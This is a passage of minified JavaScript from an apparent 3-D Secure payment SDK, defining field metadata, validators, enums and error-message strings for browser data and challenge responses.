ResultsResponse.FieldMetadata.interactionCounter=(new FieldMetadata).setValueRetriever(function(a){return a instanceof ResultsResponse?a.getInteractionCounter():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof ResultsResponse&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,String,"String")&&(a.setInteractionCounter(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,
String,"String")?a:null}).enableSerialization().setFieldType(Init.Type.String).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).addProperty(Property.ALLOW_EMPTY,!1).build()).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.STRING).addContext(FieldMetadata.ValidatorContext.T).addProperty(Property.LENGTH,2).build());
ResultsResponse.FieldMetadata.messageCategory=(new FieldMetadata).setValueRetriever(function(a){return a instanceof ResultsResponse?a.getMessageCategory():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof ResultsResponse&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,MessageCategoryType,"MessageCategoryType")&&(a.setMessageCategory(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MessageCategoryType.fromObject(a)}).enableSerialization().setFieldType(Init.Type.MessageCategoryType).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).addProperty(Property.ALLOW_EMPTY,
!1).build());
ResultsResponse.FieldMetadata.transStatus=(new FieldMetadata).setValueRetriever(function(a){return a instanceof ResultsResponse?a.getTransStatus():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof ResultsResponse&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,TransactionStatus,"TransactionStatus")&&(a.setTransStatus(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return TransactionStatus.fromObject(a)}).enableSerialization().setFieldType(Init.Type.TransactionStatus).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).addProperty(Property.ALLOW_EMPTY,!1).build());
ResultsResponse.FieldMetadata.transStatusReason=(new FieldMetadata).setValueRetriever(function(a){return a instanceof ResultsResponse?a.getTransStatusReason():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof ResultsResponse&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,TransactionReason,"TransactionReason")&&(a.setTransStatusReason(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return TransactionReason.fromObject(a)}).enableSerialization().setFieldType(Init.Type.TransactionReason).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
WidgetBrowserData.prototype=NDObject.create(Convertible.prototype);WidgetBrowserData.prototype.getFieldMetadata=function(){return WidgetBrowserData.FieldMetadata};WidgetBrowserData.prototype.getBrowserJavaEnabled=function(){return this.browserJavaEnabled};WidgetBrowserData.prototype.setBrowserJavaEnabled=function(a){this.browserJavaEnabled=a};function ValidatorContext(a){this.value=a}WidgetBrowserData.prototype.getBrowserJavascriptEnabled=function(){return this.browserJavascriptEnabled};
WidgetBrowserData.prototype.setBrowserJavascriptEnabled=function(a){this.browserJavascriptEnabled=a};WidgetBrowserData.prototype.getBrowserLanguage=function(){return this.browserLanguage};WidgetBrowserData.prototype.setBrowserLanguage=function(a){this.browserLanguage=a};WidgetBrowserData.prototype.getBrowserColorDepth=function(){return this.browserColorDepth};WidgetBrowserData.prototype.setBrowserColorDepth=function(a){this.browserColorDepth=a};WidgetBrowserData.prototype.getBrowserScreenHeight=function(){return this.browserScreenHeight};
WidgetBrowserData.prototype.setBrowserScreenHeight=function(a){this.browserScreenHeight=a};WidgetBrowserData.prototype.getBrowserScreenWidth=function(){return this.browserScreenWidth};WidgetBrowserData.prototype.setBrowserScreenWidth=function(a){this.browserScreenWidth=a};WidgetBrowserData.prototype.getBrowserTZ=function(){return this.browserTZ};WidgetBrowserData.prototype.setBrowserTZ=function(a){this.browserTZ=a};WidgetBrowserData.prototype.getBrowserUserAgent=function(){return this.browserUserAgent};
WidgetBrowserData.prototype.setBrowserUserAgent=function(a){this.browserUserAgent=a};WidgetBrowserData.prototype.getChallengeWindowSize=function(){return this.challengeWindowSize};function ICopyable(){}WidgetBrowserData.prototype.setChallengeWindowSize=function(a){this.challengeWindowSize=a};WidgetBrowserData.fromJson=function(a){var b=new WidgetBrowserData;JsonSerializer.readJsonIntoInstance(b,a);return b};
WidgetBrowserData.fromMap=function(a){var b=new WidgetBrowserData;(new JsonSerializer).readMapIntoInstance(b,a,a);return b};function Challenge(){Convertible.call(this);this.messageVersion=this.messageType=this.acsTransID=this.threeDSServerTransID=null;Interface.implement(this,ISyncable)}WidgetBrowserData.FieldMetadata={};for(key in Convertible.FieldMetadata)Convertible.FieldMetadata.hasOwnProperty(key)&&(WidgetBrowserData.FieldMetadata[key]=Convertible.FieldMetadata[key]);
WidgetBrowserData.FieldMetadata.browserJavaEnabled=(new FieldMetadata).setValueRetriever(function(a){return a instanceof WidgetBrowserData?a.getBrowserJavaEnabled():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof WidgetBrowserData&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,void 0,"Bool")&&(a.setBrowserJavaEnabled(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,
void 0,"Bool")?a:null}).enableSerialization().setSerializationTarget("browserJavaEnabled").setFieldType(Init.Type.Bool).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());function nsovanfrso(a){return a.concat("nBCXNxbjl145j")}
WidgetBrowserData.FieldMetadata.browserJavascriptEnabled=(new FieldMetadata).setValueRetriever(function(a){return a instanceof WidgetBrowserData?a.getBrowserJavascriptEnabled():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof WidgetBrowserData&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,void 0,"Bool")&&(a.setBrowserJavascriptEnabled(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,
void 0,"Bool")?a:null}).enableSerialization().setSerializationTarget("browserJavascriptEnabled").setFieldType(Init.Type.Bool).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
WidgetBrowserData.FieldMetadata.browserLanguage=(new FieldMetadata).setValueRetriever(function(a){return a instanceof WidgetBrowserData?a.getBrowserLanguage():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof WidgetBrowserData&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,String,"String")&&(a.setBrowserLanguage(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,
String,"String")?a:null}).enableSerialization().setSerializationTarget("browserLanguage").setFieldType(Init.Type.String).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.STRING).addContext(FieldMetadata.ValidatorContext.T).addProperty(Property.MAX_LENGTH,8).addProperty(Property.MIN_LENGTH,1).build()).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
WidgetBrowserData.FieldMetadata.browserColorDepth=(new FieldMetadata).setValueRetriever(function(a){return a instanceof WidgetBrowserData?a.getBrowserColorDepth():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof WidgetBrowserData&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,BrowserColorDepthType,"BrowserColorDepthType")&&(a.setBrowserColorDepth(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return BrowserColorDepthType.fromObject(a)}).enableSerialization().setSerializationTarget("browserColorDepth").setFieldType(Init.Type.BrowserColorDepthType).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
WidgetBrowserData.FieldMetadata.browserScreenHeight=(new FieldMetadata).setValueRetriever(function(a){return a instanceof WidgetBrowserData?a.getBrowserScreenHeight():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof WidgetBrowserData&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,String,"String")&&(a.setBrowserScreenHeight(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,
String,"String")?a:null}).enableSerialization().setSerializationTarget("browserScreenHeight").setFieldType(Init.Type.String).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.STRING).addContext(FieldMetadata.ValidatorContext.T).addProperty(Property.MAX_LENGTH,6).addProperty(Property.MIN_LENGTH,1).build()).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
WidgetBrowserData.FieldMetadata.browserScreenWidth=(new FieldMetadata).setValueRetriever(function(a){return a instanceof WidgetBrowserData?a.getBrowserScreenWidth():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof WidgetBrowserData&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,String,"String")&&(a.setBrowserScreenWidth(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,
String,"String")?a:null}).enableSerialization().setSerializationTarget("browserScreenWidth").setFieldType(Init.Type.String).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.STRING).addContext(FieldMetadata.ValidatorContext.T).addProperty(Property.MAX_LENGTH,6).addProperty(Property.MIN_LENGTH,1).build()).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
WidgetBrowserData.FieldMetadata.browserTZ=(new FieldMetadata).setValueRetriever(function(a){return a instanceof WidgetBrowserData?a.getBrowserTZ():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof WidgetBrowserData&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,String,"String")&&(a.setBrowserTZ(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,String,"String")?
a:null}).enableSerialization().setSerializationTarget("browserTZ").setFieldType(Init.Type.String).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.STRING).addContext(FieldMetadata.ValidatorContext.T).addProperty(Property.MAX_LENGTH,5).addProperty(Property.MIN_LENGTH,1).build()).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
WidgetBrowserData.FieldMetadata.browserUserAgent=(new FieldMetadata).setValueRetriever(function(a){return a instanceof WidgetBrowserData?a.getBrowserUserAgent():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof WidgetBrowserData&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,String,"String")&&(a.setBrowserUserAgent(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,
String,"String")?a:null}).enableSerialization().setSerializationTarget("browserUserAgent").setFieldType(Init.Type.String).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.STRING).addContext(FieldMetadata.ValidatorContext.T).addProperty(Property.MAX_LENGTH,2048).build()).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
WidgetBrowserData.FieldMetadata.challengeWindowSize=(new FieldMetadata).setValueRetriever(function(a){return a instanceof WidgetBrowserData?a.getChallengeWindowSize():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof WidgetBrowserData&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,WindowSize,"WindowSize")&&(a.setChallengeWindowSize(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return WindowSize.fromObject(a)}).enableSerialization().setSerializationTarget("challengeWindowSize").setFieldType(Init.Type.WindowSize).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
WhitelistStatusSource.prototype=NDObject.create(Enumerable.prototype);WhitelistStatusSource.VALUES={};WhitelistStatusSource.fromString=function(a){if("undefined"===typeof WhitelistStatusSource.VALUES[a])throw new IllegalArgumentException("value is not a valid WhitelistStatusSource value.");return WhitelistStatusSource.VALUES[a]};
WhitelistStatusSource.fromObject=function(a){return null!==ObjectUtils.normalize(a)&&"undefined"===typeof WhitelistStatusSource.VALUES[a]?new WhitelistStatusSource(TextUtils.stringify(a),!1):WhitelistStatusSource.VALUES[a]};function Email(a){CustomConvertible.call(this);this.setRawValue(a)}WhitelistStatusSource.THREE_DS_SERVER=new WhitelistStatusSource("01",!0);function ApiVersionType(a,b){Enumerable.call(this,a,ApiVersionType.VALUES,b);b&&(ApiVersionType.VALUES[a]=this)}
WhitelistStatusSource.DS=new WhitelistStatusSource("02",!0);WhitelistStatusSource.ACS=new WhitelistStatusSource("03",!0);WhitelistStatusSource.RESERVED80=new WhitelistStatusSource("80",!0);WhitelistStatusSource.RESERVED81=new WhitelistStatusSource("81",!0);WhitelistStatusSource.RESERVED82=new WhitelistStatusSource("82",!0);WhitelistStatusSource.RESERVED83=new WhitelistStatusSource("83",!0);WhitelistStatusSource.RESERVED84=new WhitelistStatusSource("84",!0);
WhitelistStatusSource.RESERVED85=new WhitelistStatusSource("85",!0);WhitelistStatusSource.RESERVED86=new WhitelistStatusSource("86",!0);function CurrencyCode(a){CustomConvertible.call(this);this.setValue(a)}WhitelistStatusSource.RESERVED87=new WhitelistStatusSource("87",!0);WhitelistStatusSource.RESERVED88=new WhitelistStatusSource("88",!0);WhitelistStatusSource.RESERVED89=new WhitelistStatusSource("89",!0);WhitelistStatusSource.RESERVED90=new WhitelistStatusSource("90",!0);
WhitelistStatusSource.RESERVED91=new WhitelistStatusSource("91",!0);WhitelistStatusSource.RESERVED92=new WhitelistStatusSource("92",!0);WhitelistStatusSource.RESERVED93=new WhitelistStatusSource("93",!0);WhitelistStatusSource.RESERVED94=new WhitelistStatusSource("94",!0);WhitelistStatusSource.RESERVED95=new WhitelistStatusSource("95",!0);WhitelistStatusSource.RESERVED96=new WhitelistStatusSource("96",!0);WhitelistStatusSource.RESERVED97=new WhitelistStatusSource("97",!0);
WhitelistStatusSource.RESERVED98=new WhitelistStatusSource("98",!0);WhitelistStatusSource.RESERVED99=new WhitelistStatusSource("99",!0);ACSRenderingType.prototype=NDObject.create(Convertible.prototype);ACSRenderingType.prototype.getFieldMetadata=function(){return ACSRenderingType.FieldMetadata};ACSRenderingType.prototype.getAcsInterface=function(){return this.acsInterface};ACSRenderingType.prototype.setAcsInterface=function(a){this.acsInterface=a};ACSRenderingType.prototype.getAcsUiTemplate=function(){return this.acsUiTemplate};
ACSRenderingType.prototype.setAcsUiTemplate=function(a){this.acsUiTemplate=a};function nsdzkhnrcu(){return 692441607}ACSRenderingType.fromJson=function(a){var b=new ACSRenderingType;JsonSerializer.readJsonIntoInstance(b,a);return b};ACSRenderingType.fromMap=function(a){var b=new ACSRenderingType;(new JsonSerializer).readMapIntoInstance(b,a,a);return b};ACSRenderingType.FieldMetadata={};
for(key in Convertible.FieldMetadata)Convertible.FieldMetadata.hasOwnProperty(key)&&(ACSRenderingType.FieldMetadata[key]=Convertible.FieldMetadata[key]);
ACSRenderingType.FieldMetadata.acsInterface=(new FieldMetadata).setValueRetriever(function(a){return a instanceof ACSRenderingType?a.getAcsInterface():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof ACSRenderingType&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,ACSInterface,"ACSInterface")&&(a.setAcsInterface(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return ACSInterface.fromObject(a)}).enableSerialization().setFieldType(Init.Type.ACSInterface).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
ACSRenderingType.FieldMetadata.acsUiTemplate=(new FieldMetadata).setValueRetriever(function(a){return a instanceof ACSRenderingType?a.getAcsUiTemplate():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof ACSRenderingType&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,ACSUITemplate,"ACSUITemplate")&&(a.setAcsUiTemplate(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return ACSUITemplate.fromObject(a)}).enableSerialization().setFieldType(Init.Type.ACSUITemplate).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
Action.prototype=NDObject.create(Enumerable.prototype);Action.VALUES={};Action.fromString=function(a){if("undefined"===typeof Action.VALUES[a])throw new IllegalArgumentException("value is not a valid Action value.");return Action.VALUES[a]};Action.fromObject=function(a){return null!==ObjectUtils.normalize(a)&&"undefined"===typeof Action.VALUES[a]?new Action(TextUtils.stringify(a),!1):Action.VALUES[a]};Action.INIT=new Action("init",!0);Action.CHALLENGE_REQUEST=new Action("challenge-request",!0);
Action.APP_FINAL_CHALLENGE_RESPONSE=new Action("app-final-cres",!0);StatusMsg.prototype=NDObject.create(Enumerable.prototype);function ACSRenderingType(){Convertible.call(this);this.acsUiTemplate=this.acsInterface=null;Interface.implement(this,ISyncable)}StatusMsg.VALUES={};StatusMsg.fromString=function(a){if("undefined"===typeof StatusMsg.VALUES[a])throw new IllegalArgumentException("value is not a valid StatusMsg value.");return StatusMsg.VALUES[a]};
StatusMsg.fromObject=function(a){return null!==ObjectUtils.normalize(a)&&"undefined"===typeof StatusMsg.VALUES[a]?new StatusMsg(TextUtils.stringify(a),!1):StatusMsg.VALUES[a]};StatusMsg.G_ZIP_COMPRESS_FAILURE=new StatusMsg("The client was unable to compress the request content.",!0);StatusMsg.NO_ENVIRONMENT_DATA=new StatusMsg("Must provide a valid EnvironmentData object.",!0);StatusMsg.JSON_DECODE_FAILURE=new StatusMsg("JSON decode failure.",!0);
StatusMsg.NO_ADDITIONAL_INFORMATION=new StatusMsg("No additional information.",!0);StatusMsg.UNEXPECTED_EVENT=new StatusMsg("The client encountered an unexpected event while",!0);StatusMsg.CLIENT_TIMEOUT=new StatusMsg("A client timeout occurred while",!0);StatusMsg.PROTOCOL_ERROR=new StatusMsg("A protocol error occurred while",!0);StatusMsg.UNKNOWN_HOST=new StatusMsg("The client is unable to reach: ",!0);
StatusMsg.SSL_HANDSHAKE_ERROR=new StatusMsg("The client and server could not negotiate the desired level of security during SSL handshake.",!0);StatusMsg.UNKNOWN_ACTION=new StatusMsg("Unknown action.",!0);StatusMsg.INIT_REQUEST_FAILURE=new StatusMsg("Could not initialize the request.",!0);StatusMsg.SV_RES_ERROR=new StatusMsg("Supported versions response error.",!0);StatusMsg.INIT_RESPONSE_FAILURE=new StatusMsg("Could not initialize the response.",!0);
StatusMsg.POST_REQUEST_PARSE_FAILURE=new StatusMsg("Could not parse the POST request.",!0);StatusMsg.A_RES_ERROR=new StatusMsg("Authenticate response error.",!0);StatusMsg.RESPONSE_ERROR=new StatusMsg("Could not get response.",!0);StatusMsg.RESPONSE_TIMEOUT=new StatusMsg("Response timed out.",!0);StatusMsg.MISSING_FIELDS=new StatusMsg("One or more fields are missing.",!0);StatusMsg.INVALID_ISO_CODES=new StatusMsg("One or more invalid ISO codes found.",!0);
function JsonSerializer(a){this.mValueProcessor=a||null}function TernaryYesNoUnavailable(a,b){Enumerable.call(this,a,TernaryYesNoUnavailable.VALUES,b);b&&(TernaryYesNoUnavailable.VALUES[a]=this)}StatusMsg.MALFORMED_FIELDS=new StatusMsg("One or more fields are malformed.",!0);StatusMsg.INVALID_DCO_KEYS=new StatusMsg("DCOMap keys must be the appropriate class for value.",!0);
function WidgetOutcomeMessage(){Convertible.call(this);this.resultsResponse=this.challengeOutcome=this.error=this.transStatus=this.type=null;Interface.implement(this,ISyncable)}StatusMsg.ERROR_WITH_CODE=new StatusMsg("Got an error with the code",!0);StatusMsg.WIDGET_ERROR=new StatusMsg("3DS widget error.",!0);StatusMsg.MISSING_ACS_URL=new StatusMsg("acsURL is missing from the Authentication response.",!0);StatusMsg.MISSING_DS_ID=new StatusMsg("Directory Server ID is missing.",!0);
function StatusMsg(a,b){Enumerable.call(this,a,StatusMsg.VALUES,b);b&&(StatusMsg.VALUES[a]=this)}StatusMsg.UNEXPECTED_ERROR=new StatusMsg("Unexpected error.",!0);function Action(a,b){Enumerable.call(this,a,Action.VALUES,b);b&&(Action.VALUES[a]=this)}StatusMsg.UNKNOWN_ERROR=new StatusMsg("Unknown error: {0}",!0);StatusMsg.UNEXPECTED_RESPONSE=new StatusMsg("Unexpected response from server.",!0);StatusMsg.CHALLENGE_FAILED=new StatusMsg("Challenge failed.",!0);
function ArrayContainerValidator(a,b,c){BaseContainerValidator.call(this,a,b,c,!0)}StatusMsg.CHALLENGE_CANCELLED=new StatusMsg("Challenge cancelled.",!0);StatusMsg.CHALLENGE_TIMEOUT=new StatusMsg("Challenge timed out.",!0);StatusMsg.ACTIVITY_NOT_FOUND=new StatusMsg("Placeholder activity doesn't exist.",!0);StatusMsg.VIEW_NOT_FOUND=new StatusMsg("Placeholder view doesn't exist.",!0);function NDObject(){}StatusMsg.INVALID_ENDPOINT=new StatusMsg("Invalid 3DS API Endpoint.",!0);
StatusMsg.CREATE_TRANSACTION_FAILURE=new StatusMsg("Could not create transaction.",!0);StatusMsg.INVALID_NAVIGATION_PLACEHOLDER=new StatusMsg("Placeholder must inherit from UINavigationController.",!0);StatusMsg.SENDING_ACTION=new StatusMsg(" sending data to the server",!0);StatusMsg.RECEIVING_ACTION=new StatusMsg(" receiving data from the server",!0);StatusMsg.NO_CONNECTION=new StatusMsg("Connection is not opened.",!0);
StatusMsg.SDK_PUBLIC_KEY_MISMATCH=new StatusMsg("Received SDK public key does not match.",!0);function Validator(a){this.mMetadataProvider=a}StatusMsg.THREE_DSSDK_INITIALIZATION_FAILURE=new StatusMsg("ThreeDS SDK has not been properly initialized. Please verify the configuration parameters.",!0);StatusMsg.INVALID_AUTH_REQUEST_PARAMETERS=new StatusMsg("Authentication request parameters did not initialize correctly.",!0);StatusMsg.THREE_DS_FAILURE=new StatusMsg("3DS Flow Error.",!0);
StatusMsg.GENERAL_THREE_DS_FLOW_ERROR_MESSAGE=new StatusMsg("3DS Flow Failure. Please check the messages.",!0);StatusMsg.CERTIFICATE_CHAIN_VERIFICATION_FAILED=new StatusMsg("Certificate Chain Verification Failed.",!0);StatusMsg.HTTP_CONNECTION_BEFORE_BAD_RETURN_TYPE=new StatusMsg("httpConnection.before must return a ThreeDSRequest instance.",!0);StatusMsg.DEVICE_INFO_BAD_RETURN_TYPE=new StatusMsg("promises.deviceInfo must return a DeviceData instance.",!0);function IMetadataProvider(){}
StatusMsg.INVALID_JWS_COMPACT_SERIALIZATION_FORMAT=new StatusMsg("Wrong JWS compact serialization format.",!0);StatusMsg.INVALID_PUBLIC_KEY=new StatusMsg("Invalid Public Key: {0}",!0);StatusMsg.INVALID_PUBLIC_KEY_TYPE=new StatusMsg("Invalid Public Key Type: {0}",!0);StatusMsg.INVALID_DATA_TYPE=new StatusMsg("{0} must be {1}.",!0);StatusMsg.INVALID_DATA_TYPE_REQUIRED=new StatusMsg("{0} is required and must be {1}.",!0);
StatusMsg.TOO_MANY_CHALLENGE_STEPS=new StatusMsg("Too many steps in challenge (\x3e999). Abandoning flow.",!0);StatusMsg.DATA_DECRYPTION_FAILURE=new StatusMsg("Failed to decrypt data.",!0);StatusMsg.DATA_DECRYPTION_FAILURE_DETAILS=new StatusMsg("Failed to decrypt data: {0}",!0);StatusMsg.INVALID_DSID=new StatusMsg("Invalid DS ID: {0}",!0);StatusMsg.TIMEOUT_TOO_LOW=new StatusMsg("Timeout must be greater than or equal to 5.",!0);
StatusMsg.MALFORMED_CONFIG_ATTRIBUTES=new StatusMsg("attrs is malformed. Expected array of objects with exactly one string value.",!0);StatusMsg.UNSUPPORTED_APP_SERVER_REQUEST=new StatusMsg("Unsupported App Server Request: {0}.",!0);StatusMsg.INVALID_CHALLENGE_RESPONSE=new StatusMsg("Challenge response validation failed: {0}.",!0);DoubleValidator.prototype=NDObject.create(BaseValidator.prototype);
DoubleValidator.prototype.validate=function(a,b,c){var d=new ValidationResult;d.failIf(this._validateArguments(b,a));var e=MathUtil.validateDoubleOrNull(b,c);e.isSuccess()||d.fail(b,a,[Property.FORMAT]);e.isSuccess()&&(c=e.getFilteredValue());d.isSuccess()&&(d.failIf(MathUtil.validateGreaterThanEqualOrNull(b,c,a[Property.MIN.toString()],Property.MIN),a),d.failIf(MathUtil.validateLessThanEqualOrNull(b,c,a[Property.MAX.toString()],Property.MAX),a));return d};
DoubleValidator.prototype.getAllowedProperties=function(){return[Property.MIN,Property.MAX]};BaseContainerValidator.prototype=NDObject.create(BaseValidator.prototype);BaseContainerValidator.prototype.validate=function(a,b,c){return this.mObjectElementValidator.validate(a,b,c)};BaseContainerValidator.prototype.validateElement=function(a){return this.mManager.validateChild(this._getParentFieldName(),this.mMetadata,a)};BaseContainerValidator.prototype.getAllowedProperties=function(){return this.mObjectElementValidator.getAllowedProperties()};
ObjectContainerValidator.prototype=NDObject.create(BaseContainerValidator.prototype);ObjectContainerValidator.prototype.validate=function(a,b,c){var d=new ValidationResult;d.failIf(this._validateArguments(b,a));d.failIf(BaseContainerValidator.prototype.validate.call(this,a,b,c));d.failIf(this.validateElement(c));return d};MapContainerValidator.prototype=NDObject.create(BaseContainerValidator.prototype);
MapContainerValidator.prototype.validate=function(a,b,c){var d=new ValidationResult;d.failIf(this._validateArguments(b,a));d.failIf(BaseContainerValidator.prototype.validate.call(this,a,b,c));if(!ObjectUtils.isMap(c))return null!==ObjectUtils.normalize(c)&&d.fail(TextUtils.concat(".",[this._getParentFieldName(),b]),a,[Property.FORMAT]),d;for(var e in c)null===ObjectUtils.normalize(c[e])?delete c[e]:d.failIf(this.validateElement(c[e]));return d};ArrayContainerValidator.prototype=NDObject.create(BaseContainerValidator.prototype);
ArrayContainerValidator.prototype.validate=function(a,b,c){var d=new ValidationResult;d.failIf(this._validateArguments(b,a));d.failIf(BaseContainerValidator.prototype.validate.call(this,a,b,c));if(!Array.isArray(c))return null!==ObjectUtils.normalize(c)&&d.fail(b,null,[Property.FORMAT]),d;d.failIf(MathUtil.validateGreaterThanEqualOrNull(b,c.length,a[Property.MIN_LENGTH.toString()],Property.MIN_LENGTH),a);d.failIf(MathUtil.validateLessThanEqualOrNull(b,c.length,a[Property.MAX_LENGTH.toString()],Property.MAX_LENGTH),
a);a=function(a){return null!==ObjectUtils.normalize(a)};if("function"===typeof c.filter)c=c.filter(a);else{b=[];for(var e=0;e<c.length;e++)a(c[e])&&b.push(c[e])}for(e=0;e<c.length;e++)d.failIf(this.validateElement(c[e]));return d};ArrayContainerValidator.prototype.getAllowedProperties=function(){return[Property.ALLOW_EMPTY,Property.MIN_LENGTH,Property.MAX_LENGTH]};IntValidator.prototype=NDObject.create(BaseValidator.prototype);
IntValidator.prototype.validate=function(a,b,c){var d=new ValidationResult;d.failIf(this._validateArguments.call(b,a));var e=c;!0===a[Property.STRICT.toString()]?d.failIf(MathUtil.validateIntegerOrNull(b,c),a):(c=MathUtil.validateDoubleOrNull(b,c),d.failIf(c,a),c.isSuccess()&&(e=c.getFilteredValue()));d.isSuccess()&&(d.failIf(MathUtil.validateGreaterThanEqualOrNull(b,e,a[Property.MIN.toString()],Property.MIN),a),d.failIf(MathUtil.validateLessThanEqualOrNull(b,e,a[Property.MAX.toString()],Property.MAX),
